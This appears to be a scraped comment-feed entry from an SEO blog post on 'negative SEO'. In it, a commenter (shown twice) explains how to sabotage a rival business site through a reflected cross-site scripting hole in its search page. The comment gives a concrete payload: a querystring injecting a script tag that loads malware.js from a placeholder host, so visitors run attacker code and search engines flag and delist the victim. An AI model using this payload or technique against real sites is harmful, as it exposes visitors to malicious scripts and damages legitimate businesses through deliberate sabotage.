http://www.pagetrafficbuzz.com/negative-seo-making-rival-business-websites-disappear/2002/ Search engine news, SEO Tips, Google updates, SEO articles Fri, 10 Feb 2012 23:13:28 +0000 hourly 1 http://wordpress.org/?v=3.2.1 http://www.pagetrafficbuzz.com/negative-seo-making-rival-business-websites-disappear/2002/comment-page-1/#comment-355116 farhan Tue, 15 Feb 2011 07:12:10 +0000 http://www.unofficialseoblog.com/negative-seo-making-rival-business-websites-disappear/2002/#comment-355116 If a site is infected with a virus, then it is flagged up in the SERPs as being potentially dangerous. This can be also achieved by using cross site scripting (XSS) vulnerabilities to create links to pages which display on page content from posted form elements or querystrings - for example, if you have a site with a page like search.asp?keyword=mysearch and in the page itself it says 'there are no results for mysearch' - then the link can be manipulated to search.asp?keyword= <script src="http://nastysite.com/malware.js"></script> . If you then post this link on a webpage, then anyone clicking on it will get the search results page, and where it says 'there are no results for XX' the javascript is inserted into the page content and runs with the same security level as the main page itself. When google picks this link up, it will flag your site as infected and possibly remove it from the search results. farhan from <a href="http://technoscopi.blogspot.com" rel="nofollow">technoscopi</a> . regards If a site is infected with a virus, then it is flagged up in the SERPs as being potentially dangerous. This can be also achieved by using cross site scripting (XSS) vulnerabilities to create links to pages which display on page content from posted form elements or querystrings – for example, if you have a site with a page like search.asp?keyword=mysearch and in the page itself it says 'there are no results for mysearch' – then the link can be manipulated to search.asp?keyword= <script src="http://nastysite.com/malware.js"></script&gt; . If you then post this link on a webpage, then anyone clicking on it will get the search results page, and where it says 'there are no results for XX' the javascript is inserted into the page content and runs with the same security level as the main page itself. When google picks this link up, it will flag your site as infected and possibly remove it from the search results.
farhan from technoscopi .
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